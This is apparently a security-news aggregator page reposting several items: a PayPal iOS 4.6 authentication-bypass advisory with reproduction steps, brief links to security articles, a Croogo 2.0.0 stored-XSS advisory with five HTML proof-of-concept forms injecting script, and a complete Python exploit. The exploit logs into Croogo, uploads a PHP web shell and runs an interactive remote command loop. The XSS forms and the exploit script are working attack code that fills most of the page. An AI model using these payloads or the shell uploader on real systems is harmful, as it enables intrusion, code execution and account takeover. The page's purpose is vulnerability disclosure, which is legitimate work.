Quantcast
Channel: BOT24
Viewing all 8064 articles
Browse latest View live

PayPal Inc BB #85 MB iOS 4.6 - Auth Bypass Vulnerability

$
0
0
Document Title:
===============
PayPal Inc BB #85 MB iOS 4.6 - Auth Bypass Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=895

PayPal Security UID: Vxda0S

Video: http://www.vulnerability-lab.com/get_content.php?id=1338

View: https://www.youtube.com/watch?v=RXubXP_r2M4


Release Date:
=============
2014-10-09


Vulnerability Laboratory ID (VL-ID):
====================================
895


Common Vulnerability Scoring System:
====================================
6.2


Product & Service Introduction:
===============================
PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally,
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.

On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale,
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across
Europe, PayPal also operates as a Luxembourg-based bank.

On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.
Between December 4ñ9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation
for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.

(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a security auth protection mechanism bypass vulnerability in the PayPal Inc iOS Mobile Application.


Vulnerability Disclosure Timeline:
==================================
2014-10-09:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
PayPal Inc
Product: iOS Mobile Application - Banking 4.6.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
An auth restriction bypass vulnerability has been discovered in the official PayPal Inc mobile webapplication and api.
The vulnerability allows to bypass a filter or restrction of the online-service to get unauthorized paypal account access.

The security vulnerability is located in the mobile api auth procedure of the paypal online-service. The mobile app api does not
check for already restricted/blocked application accounts. Remote attackers are able to login through the mobile api with paypal
portal restriction to access account information or interact with the compromised account.

If a paypal user tries several times to login with a wrong password/user combination the paypal account will temporarily be closed
for security reasons. When this happens the user needs to answer a secret question to get the account open again. Even if the account
is temporarily closed it is possible to get access to the account via the paypal mobile app client through the API.

The client API checks only if the account exists, the API does not check a part- or full blocking of the account. It is possible for
the blocked user to get access to his paypal account and is able to make transactions and he can send money from the account. The mobile
iPhone / iPad Paypal App does need a security upgrade to ensure that the status of an account is also verified and how the App reacts when
such an event takes place. This would ensure that no one can have access via the mobile client to a blocked account. In the Paypal database
there are several preferences for an account to verify the status of the account. These preferences need to be used to check also the account
status on the mobile client API. There is another exception which drops a push message on iOS devices (iphone & ipad) which refers to the main
paypal website but it is only a temporary solution and no possibility to block account stable.

During the pentest the researcher revealed that he was able to access the blocked test account through the mobile application api. At the end the
researcher was able to interact through the mobile app by easily accessing the information of the paypal account x01445@gmail.com.

The security risk of the auth bypass restriction vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.2.
Exploitation of the vulnerability requires a restricted/blocked account of the paypal application without user interaction. Successful exploitation
of the issue results in auth restriction bypass through the official mobile paypal app api.

Vulnerable Service(s):
                                [+] PayPal Inc
Vulnerable Software(s):
                                [+] PayPal iOS App (iPhone & iPad) v4.6.0
Vulnerable Module(s):
                                [+] API
Affected Module(s):
                                [+] Login Verification – (Auth)


Proof of Concept (PoC):
=======================
The auth bypass restriction vulnerability can be exploited by remote attackers without user interaction but with low privileged application user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Site: PayPal Inc (www.paypal.com)
Test Account: x01445@gmail.com 01x445@gmail.com
Mobile Client: https://itunes.apple.com/us/app/paypal/id283646709

#1 Manual steps to reproduce the issue with security question
1. Register a regular PayPal account linked to a banking account
2. Go to the login & provoke the ask for security questions after several wrong forced passwords login requests
3. It is also possible to do it when logged into the account and provoke via transaction cancels & co.
4. Now, try to login again and we see the "Security Question" module
5. We switch to our iphone or ipad device and download & install the new paypal mobile application v4.6.0
6. Open the mobile application on your ipad or iphone device and login to your account
Note: The security protection mechanism of the main paypal core application disallows to login
without the verification attempt of the security question module!
7. The application allows the user to login via the mobile paypal app api without auth cancel or sec question popup
8. We login successful!
9. Now, the attacker can handle transactions, send money, request money, add funds, change address or include new cards
10. Successful reproduced!
#2 Manual steps to reproduce the issue without security question
1. Install the application to your iOS device (ipad or iphone)
2. Register a paypal inc user account
3. Solve a transaction and provoke an incident that the account get blocked
4. Now, login to the ios device and start the paypal application
5. Include the blocked login credentials and press the login button
6. The service grants access through the mobile api without processing to drop any exception to prevent the access

Note: Now the attacker is able to request the stored data of the paypal user in the portal even if the
service is restricted accessable. Regular the service must block you like when you login to the portal
but in case of the issue the api grants the access because of missing value check.

Security Video Demonstration Description
The video shows two blocked accounts. The first is the 01x445@gmail.com pp test account and the second is the x01445@gmail.com pp test account.
The first one is nulled and frozen and the second one has also been blocked. The video shows in the first steps both login profiles with are
unsuccessful. After providing to demonstrate that the x01445@gmail.com account is not allowed to access the portal we show how to unauthorized
access the account information even if the service has blocked to login through the main paypal. The researcher demonstrates how to bypass the
restricted account to get access and interact via api.

Reference(s): Links
https://itunes.apple.com/us/app/paypal/id283646709
https://www.paypal.com

Resource(s):
                ../Paypal Mobile API Auth Bypass Restriction.wmv

Picture(s):
                ../1.jpg – 11.jpg
                ../1.png –


Solution - Fix & Patch:
=======================
The security vulnerability can be patched by a secure recognition of the validation procedure when
processing to request restriction values through api in the paypal account system.
The same exception that popup for the account 01x445@gmail.com which is nulled needs to
prevent the same problem of the account x01445@gmail.com.
The account system itself should never allow to grant access for an account that has been restricted
in the main service that manages the paypal users. The bug does not only hurt the security policy it
is an infrastructure bug too.


Security Risk:
==============
The security risk of the protection mechanism bypass vulnerability via mobile api is estimated as high.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com                                      - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com         - research@vulnerability-lab.com                        - admin@evolution-sec.com
Section:    dev.vulnerability-db.com            - forum.vulnerability-db.com                            - magazine.vulnerability-db.com
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab                         - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php            - vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

                                Copyright © 2014 | Vulnerability Laboratory [Evolution Security]

Bob and Alice Discover a Mac OPSEC Issue

$
0
0
The following is a true story. The names have been changed because the identity of those involved is none of your business.

Bob uses Linux. Alice uses Mac. Bob gave Alice a file via FAT32 formatted USB drive. Alice inserted the USB drive into her Mac, copied the file, and then gave the USB drive back to Bob. Later, Bob inserted the USB drive into his Linux computer and saw Mac files. Lots and lots of Mac files. And that's typical.


more here...........http://www.f-secure.com/weblog/archives/00002752.html

These Are The Emails Snowden Sent to First Introduce His Epic NSA Leaks

$
0
0
Six months before the world knew the National Security Agency’s most prolific leaker of secrets as Edward Joseph Snowden, Laura Poitras knew him as Citizenfour. For months, Poitras communicated with an unknown “senior government employee” under that pseudonym via encrypted emails, as he prepared her to receive an unprecedented leak of classified documents that he would ask her to expose to the world.

more here..........http://www.wired.com/2014/10/snowdens-first-emails-to-poitras/

Heistmeisters crack cost of safecrackers with $150 widget

$
0
0
Arduino hack-box brute-forces ATMs, gun safes

more here..........http://www.theregister.co.uk/2014/10/13/heistmeisters_crack_cost_of_safecrackers_with_150_widget/

Tiny ELF 32/64 with nasm

$
0
0
Sometimes I need to create a tiny ELF with some assembly code, because I'm restricted in size or just don't like the bloated binary produced by gcc and the linker. The classic reference about this is A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux. I often use their nasm listing as a template.

I was working with 64bit code the other day and realized there's no 64bit version of it, so here's one.

more here...........http://blog.stalkr.net/2014/10/tiny-elf-3264-with-nasm.html

Find Security Bugs: New version and project status

$
0
0
A new version of FindSecurityBugs was release last week.

For those who don't know about it, FindSecurityBugs is a plugin for the Java static analysis tool FindBugs. This plugin consist of a set rules that focus only on security weakness.


more here...........http://blog.h3xstream.com/2014/10/find-security-bugs-new-version-and.html

Exploring and Exploiting iOS Web Browsers

$
0
0
Today we begin a three-post series about mobile security. We start with a discussion of vulnerabilities in iOS web browsers. Later this week we'll cover apps executing on jailbroken devices and the detection of jailbroken devices. While the release and adoption of iOS 8 may plug some of the holes discussed in this post, many users will continue to use iOS 7 for some time and may remain vulnerable.

more here.............http://blog.spiderlabs.com/2014/10/exploring-and-exploiting-ios-web-browsers.html

Hacking my smart TV - an old new thing

$
0
0
It’s hard to conceive of now, but there was a time when hacking a system was something easy enough for pretty much anyone to do. Developers were barely cognizant of the concept of security and many security holes were thought of as just minor glitches in the software. It took considerable effort from the security community to bring these security issues to the attention of vendors and it was a long road to the current level of security we have now. Having said that, the current security of software isn’t exactly perfect, but what I’m getting at is how the current security status of new things resembles the security status of old things in the ‘bad’ old days. Old vulnerabilities are new vulnerabilities again in theInternet of Things (IoT)  and smart appliance space. Vulnerability types we thought were gone are now reappearing. I keep having déjà vu.
With that in mind, at this year’s Virus Bulletin conference, I presented a method for remotely attacking a Samsung smart TV and installing malicious software. While the presentation is available here, I wanted to share the details with you in this blog in case you weren’t lucky enough to join us in person in Seattle.

more here...........http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Hacking-my-smart-TV-an-old-new-thing/ba-p/6645844

Croogo 2.0.0 Cross Site Scripting

$
0
0
<<<

Croogo 2.0.0 Multiple Stored XSS Vulnerabilities


Vendor: Fahad Ibnay Heylaal
Product web page: http://www.croogo.org
Affected version: 2.0.0

Summary: Croogo is a free, open source, content management system
for PHP, released under The MIT License. It is powered by CakePHP
MVC framework.

Desc: Croogo version 2.0.0 suffers from multiple stored cross-site
scripting vulnerabilities. Input passed to several POST parameters
is not properly sanitised before being returned to the user. This
can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Zero Science Lab - http://www.zeroscience.mk
Macedonian Information Security Research And Development Laboratory


Advisory ID: ZSL-2014-5201
Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5201.php

Vendor: http://blog.croogo.org/blog/croogo-210-released


26.07.2014

>>>


------------------------
(XSS #1)
--------
POST parameters:

 - data[Contact][title]
------------------------

<html>
  <!-- PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/croogo/admin/contacts/contacts/add" method="POST">
      <input type="hidden" name="_method" value="POST" />
      <input type="hidden" name="data[_Token][key]" value="2627e9e204ad6b878dbaf1c08d830c3e744d7e6e" />
      <input type="hidden" name="data[Contact][id]" value="" />
      <input type="hidden" name="data[Contact][title]" value=""><script>alert("XSS");</script>" />
      <input type="hidden" name="data[Contact][alias]" value="test" />
      <input type="hidden" name="data[Contact][email]" value="a@a.com" />
      <input type="hidden" name="data[Contact][body]" value="" />
      <input type="hidden" name="data[Contact][name]" value="" />
      <input type="hidden" name="data[Contact][position]" value="" />
      <input type="hidden" name="data[Contact][address]" value="" />
      <input type="hidden" name="data[Contact][address2]" value="" />
      <input type="hidden" name="data[Contact][state]" value="" />
      <input type="hidden" name="data[Contact][country]" value="" />
      <input type="hidden" name="data[Contact][postcode]" value="" />
      <input type="hidden" name="data[Contact][phone]" value="" />
      <input type="hidden" name="data[Contact][fax]" value="" />
      <input type="hidden" name="data[Contact][message_status]" value="0" />
      <input type="hidden" name="data[Contact][message_archive]" value="0" />
      <input type="hidden" name="data[Contact][message_notify]" value="0" />
      <input type="hidden" name="data[Contact][message_spam_protection]" value="0" />
      <input type="hidden" name="data[Contact][message_captcha]" value="0" />
      <input type="hidden" name="data[Contact][status]" value="0" />
      <input type="hidden" name="data[_Token][fields]" value="262e37f00fdd538ab98d168114e8befb72ba27ff%3AContact.id" />
      <input type="hidden" name="data[_Token][unlocked]" value="apply" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


------------------------
(XSS #2)
--------
POST/PUT parameters:

 - data[Block][title]
 - data[Block][alias]
------------------------

<html>
  <!-- PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/croogo/admin/blocks/blocks/edit/10" method="POST">
      <input type="hidden" name="_method" value="PUT" />
      <input type="hidden" name="data[_Token][key]" value="bb5e47ab63281908e9783d9a20f66b7f56c573f3" />
      <input type="hidden" name="data[Block][id]" value="10" />
      <input type="hidden" name="data[Block][title]" value=""><script>alert(2);</script>" />
      <input type="hidden" name="data[Block][alias]" value=""><script>alert(3);</script>" />
      <input type="hidden" name="data[Block][region_id]" value="3" />
      <input type="hidden" name="data[Block][body]" value="1" />
      <input type="hidden" name="data[Block][class]" value="1" />
      <input type="hidden" name="data[Block][element]" value="1" />
      <input type="hidden" name="data[Role][Role]" value="" />
      <input type="hidden" name="data[Block][visibility_paths]" value="" />
      <input type="hidden" name="data[Block][params]" value="1" />
      <input type="hidden" name="data[Block][status]" value="1" />
      <input type="hidden" name="data[Block][show_title]" value="0" />
      <input type="hidden" name="data[Block][show_title]" value="1" />
      <input type="hidden" name="data[Block][publish_start]" value="0000-00-00 00:00:00" />
      <input type="hidden" name="data[Block][publish_end]" value="0000-00-00 00:00:00" />
      <input type="hidden" name="data[_Token][fields]" value="546f4a46648b8b32ea4c2b43a4a118ea7087e21b%3ABlock.id" />
      <input type="hidden" name="data[_Token][unlocked]" value="apply" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


------------------------
(XSS #3)
--------
POST parameters:

 - data[Region][title]
------------------------

<html>
  <!-- PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/croogo/admin/blocks/regions/add" method="POST">
      <input type="hidden" name="_method" value="POST" />
      <input type="hidden" name="data[_Token][key]" value="a7d62c8c34e2a6414c3657c43790645dfdd63735" />
      <input type="hidden" name="data[Region][id]" value="" />
      <input type="hidden" name="data[Region][title]" value=""><script>alert(11);</script>" />
      <input type="hidden" name="data[Region][alias]" value="1" />
      <input type="hidden" name="data[_Token][fields]" value="4020bcbfbf5ba648b159ec8a4e166f53c1b58aa4%3ARegion.id" />
      <input type="hidden" name="data[_Token][unlocked]" value="apply" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


------------------------
(XSS #4)
--------
POST parameters:

 - data[Menu][title]
 - data[Menu][alias]
------------------------

<html>
  <!-- PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/croogo/admin/menus/menus/add" method="POST">
      <input type="hidden" name="_method" value="POST" />
      <input type="hidden" name="data[_Token][key]" value="253c5c67942b2d126c886c9ac7a62ebf065cf42b" />
      <input type="hidden" name="data[Menu][id]" value="" />
      <input type="hidden" name="data[Menu][title]" value=""><script>alert(22);</script>" />
      <input type="hidden" name="data[Menu][alias]" value=""><script>alert(33);</script>" />
      <input type="hidden" name="data[Menu][description]" value="ZSL" />
      <input type="hidden" name="data[Menu][params]" value="1" />
      <input type="hidden" name="data[Menu][status]" value="1" />
      <input type="hidden" name="data[Menu][publish_start]" value="1" />
      <input type="hidden" name="data[Menu][publish_end]" value="1" />
      <input type="hidden" name="data[_Token][fields]" value="58685dc7a49f7617cffaa3a00ec4245516c5f9d3%3AMenu.id" />
      <input type="hidden" name="data[_Token][unlocked]" value="apply" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


------------------------
(XSS #5)
--------
POST parameters:

 - data[Link][title]
------------------------

<html>
  <!-- PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/croogo/admin/menus/links/add/menu:6" method="POST">
      <input type="hidden" name="_method" value="POST" />
      <input type="hidden" name="data[_Token][key]" value="736e7539497307010b8cb8e70c44ec8a9798d0fb" />
      <input type="hidden" name="data[Link][id]" value="" />
      <input type="hidden" name="data[Link][menu_id]" value="6" />
      <input type="hidden" name="data[Link][parent_id]" value="" />
      <input type="hidden" name="data[Link][title]" value=""><script>alert(1);</script>" />
      <input type="hidden" name="data[Link][link]" value="1" />
      <input type="hidden" name="data[Role][Role]" value="" />
      <input type="hidden" name="data[Link][class]" value="scriptalert1script" />
      <input type="hidden" name="data[Link][description]" value="" />
      <input type="hidden" name="data[Link][rel]" value="" />
      <input type="hidden" name="data[Link][target]" value="" />
      <input type="hidden" name="data[Link][params]" value="" />
      <input type="hidden" name="data[Link][status]" value="0" />
      <input type="hidden" name="data[Link][publish_start]" value="" />
      <input type="hidden" name="data[Link][publish_end]" value="" />
      <input type="hidden" name="data[_Token][fields]" value="d662745abb348c763337f58c8c3c28bb1e8c014f%3ALink.id" />
      <input type="hidden" name="data[_Token][unlocked]" value="apply" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information

Croogo 2.0.0 Arbitrary PHP Code Execution

$
0
0
#!/usr/bin/env python
#
#
# Croogo 2.0.0 Arbitrary PHP Code Execution Exploit
#
#
# Vendor: Fahad Ibnay Heylaal
# Product web page: http://www.croogo.org
# Affected version: 2.0.0
#
# Summary: Croogo is a free, open source, content management system
# for PHP, released under The MIT License. It is powered by CakePHP
# MVC framework.
#
# Desc: Croogo suffers from an authenticated arbitrary PHP code
# execution. The vulnerability is caused due to the improper
# verification of uploaded files in '/admin/file_manager/attachments/add'
# script thru the 'data[Attachment][file]' POST parameter and in
# '/admin/file_manager/file_manager/upload' script thru the
# 'data[FileManager][file]' POST parameter. This can be exploited
# to execute arbitrary PHP code by uploading a malicious PHP script
# file that will be stored in '/webroot/uploads/' directory.
#
# Tested on: Apache/2.4.7 (Win32)
#            PHP/5.5.6
#            MySQL 5.6.14
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# Zero Science Lab - http://www.zeroscience.mk
# Macedonian Information Security Research And Development Laboratory
#
#
# Advisory ID: ZSL-2014-5202
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2014-5202.php
#
# Vendor: http://blog.croogo.org/blog/croogo-210-released
#
#
# 26.07.2014
#
#

version = '5.0.0.251'

import itertools, mimetools, mimetypes
import cookielib, urllib, urllib2, sys
import logging, os, time, datetime, re

from colorama import Fore, Back, Style, init
from cStringIO import StringIO
from urllib2 import URLError

init()

if os.name == 'posix': os.system('clear')
if os.name == 'nt': os.system('cls')
piton = os.path.basename(sys.argv[0])

def bannerche():
  print '''
 @---------------------------------------------------------------@
 |                                                               |
 |       Croogo 2.0.0 Arbitrary PHP Code Execution Exploit       |
 |                                                               |
 |                                                               |
 |                       ID: ZSL-2014-5202                       |
 |                                                               |
 |              Copyleft (c) 2014, Zero Science Lab              |
 |                                                               |
 @---------------------------------------------------------------@
          '''
  if len(sys.argv) < 3:
    print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname> <path>\n'
    print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk croogo\n'
    sys.exit()

bannerche()

print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET

host = sys.argv[1]
path = sys.argv[2]

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

try:
  getcsrf = opener.open('http://'+host+'/'+path+'/admin/users/users/login')
  csrf = getcsrf.read()
except urllib2.HTTPError, errorzio:
  if errorzio.code == 404:
    print '\x20\x20[*] Checking path '+'.'*41+Fore.RED+'[ER]'+Fore.RESET
    print '\x20\x20[*] '+Fore.YELLOW+'Check your path entry.'+Fore.RESET
    print
    sys.exit()
except URLError, errorziocvaj:
  if errorziocvaj.reason:
    print '\x20\x20[*] Checking host '+'.'*41+Fore.RED+'[ER]'+Fore.RESET
    print '\x20\x20[*] '+Fore.YELLOW+'Check your hostname entry.'+Fore.RESET
    print
    sys.exit()

print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET

token_key = re.search(r'\[key\]\" value=\"(.+?)\"', csrf).group(1)
print '\x20\x20[*] Retrieving login CSRF token '+'.'*27+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Login CSRF token: '+Fore.YELLOW+token_key+Fore.RESET

print '\x20\x20[*] Login please.'

username = raw_input('\x20\x20[*] Enter username: ')
password = raw_input('\x20\x20[*] Enter password: ')


login_data = urllib.urlencode({
              '_method' : 'POST',
              'data[User][password]' : password,
              'data[User][remember]' : '0',
              'data[User][username]' : username,
              'data[_Token][fields]' : '93365ba06ce101995d3cd9c79cce968b12fb6ee5:',
              'data[_Token][key]' : token_key,
              'data[_Token][unlocked]' : ''
              })


login = opener.open('http://'+host+'/'+path+'/admin/users/users/login', login_data)
auth = login.read()

for session in cj:
  sessid = session.name

print '\x20\x20[*] Mapping session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET
ses_chk = re.search(r'%s=\w+' % sessid , str(cj))
cookie = ses_chk.group(0)
print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET

if re.search(r'Incorrect username or password', auth):
  print '\x20\x20[*] Incorrect username or password '+'.'*24+Fore.RED+'[ER]'+Fore.RESET
  print
  sys.exit()
else:
  print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET

getcsrfattach = opener.open('http://'+host+'/'+path+'/admin/file_manager/attachments/add')
csrfattach = getcsrfattach.read()
token_key2 = re.search(r'\[key\]\" value=\"(.+?)\"', csrfattach).group(1)
print '\x20\x20[*] Retrieving upload CSRF token '+'.'*26+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Upload CSRF token: '+Fore.YELLOW+token_key2+Fore.RESET

class MultiPartForm(object):

    def __init__(self):
        self.form_fields = []
        self.files = []
        self.boundary = mimetools.choose_boundary()
        return
 
    def get_content_type(self):
        return 'multipart/form-data; boundary=%s' % self.boundary

    def add_field(self, name, value):
        self.form_fields.append((name, value))
        return

    def add_file(self, fieldname, filename, fileHandle, mimetype=None):
        body = fileHandle.read()
        if mimetype is None:
            mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
        self.files.append((fieldname, filename, mimetype, body))
        return
 
    def __str__(self):

        parts = []
        part_boundary = '--' + self.boundary
     
        parts.extend(
            [ part_boundary,
              'Content-Disposition: form-data; name="%s"' % name,
              '',
              value,
            ]
            for name, value in self.form_fields
            )
     
        parts.extend(
            [ part_boundary,
              'Content-Disposition: file; name="%s"; filename="%s"' % \
                 (field_name, filename),
              'Content-Type: %s' % content_type,
              '',
              body,
            ]
            for field_name, filename, content_type, body in self.files
            )
     
        flattened = list(itertools.chain(*parts))
        flattened.append('--' + self.boundary + '--')
        flattened.append('')
        return '\r\n'.join(flattened)

if __name__ == '__main__':

    form = MultiPartForm()
    form.add_field('_method', 'POST')
    form.add_field('data[_Token][key]', token_key2)
    form.add_field('data[_Token][fields]', 'c0c3f5d102d9672429f5c571a5f45c34255a93a9%3A')
    form.add_field('data[_Token][unlocked]', '')
 
    form.add_file('data[Attachment][file]', 'zsl.php',
                  fileHandle=StringIO('<?php echo \"<pre>\"; passthru($_GET[\'cmd\']); echo \"</pre>\"; ?>'))

    request = urllib2.Request('http://'+host+'/'+path+'/admin/file_manager/attachments/add')
    request.add_header('User-agent', 'joxypoxy 5.0')
    body = str(form)
    request.add_header('Content-type', form.get_content_type())
    request.add_header('Cookie', cookie)
    request.add_header('Content-length', len(body))
    request.add_data(body)
    request.get_data()
    urllib2.urlopen(request).read()
    print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET


print '\x20\x20[*] Starting logging service '+'.'*30+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Spawning shell '+'.'*40+Fore.GREEN+'[OK]'+Fore.RESET
time.sleep(1)

furl = '/uploads/zsl.php'
#furl = '/webroot/uploads/zsl.php'

print
today = datetime.date.today()
fname = 'croogo-'+today.strftime('%d-%b-%Y')+time.strftime('_%H%M%S')+'.log'
logging.basicConfig(filename=fname,level=logging.DEBUG)

logging.info(' '+'+'*75)
logging.info(' +')
logging.info(' + Log started: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S'))
logging.info(' + Title: Croogo 2.0.0 Arbitrary PHP Code Execution Exploit')
logging.info(' + Python program executed: '+sys.argv[0])
logging.info(' + Version: '+version)
logging.info(' + Full query: \''+piton+'\x20'+host+'\'')
logging.info(' + Username input: '+username)
logging.info(' + Password input: '+password)
logging.info(' + Vector: '+'http://'+host+'/'+path+furl)
logging.info(' +')
logging.info(' + Advisory ID: ZSL-2014-5202')
logging.info(' + Zero Science Lab - http://www.zeroscience.mk')
logging.info(' +')
logging.info(' '+'+'*75+'\n')

print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET
raw_input()
while True:
  try:
    cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET)
    execute = opener.open('http://'+host+'/'+path+furl+'?cmd='+urllib.quote(cmd))
    reverse = execute.read()
    pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M)

    print Style.BRIGHT+Fore.CYAN
    cmdout = pattern.match(reverse)
    print cmdout.groups()[0].strip()
    print Style.RESET_ALL+Fore.RESET

    if cmd.strip() == 'exit':
      break

    logging.info('Command executed: '+cmd+'\n\nOutput: \n'+'='*8+'\n\n'+cmdout.groups()[0].strip()+'\n\n'+'-'*60+'\n')
  except Exception:
    break

logging.warning('\n\nLog ended: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S')+'\n\nEND OF LOG')
print '\x20\x20[*] Carpe commentarius '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Log file: '+Fore.YELLOW+fname+Fore.RESET
print

sys.exit()

#
## OTHER ##
#
#
# Arbitrary file creation any location:
#
# - http://localhost/croogo/admin/file_manager/file_manager/create_file?path=C%3A\xampp\htdocs\croogo\
#
#
# Arbitrary file upload any location:
# - http://localhost/croogo/admin/file_manager/file_manager/upload?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5C
#
#
###########
#
# POST /croogo/admin/file_manager/file_manager/create_file?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: en-US,en;q=0.5
# Accept-Encoding: gzip, deflate
# Referer: http://localhost/croogo/admin/file_manager/file_manager/create_file?path=C%3A%5Cxampp%5Chtdocs%5Ccroogo%5Cwebroot%5Cuploads%5C
# Cookie: CAKEPHP=b5v6bft5a5ibj0ndcvb28i4v84
# Connection: keep-alive
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 229
#
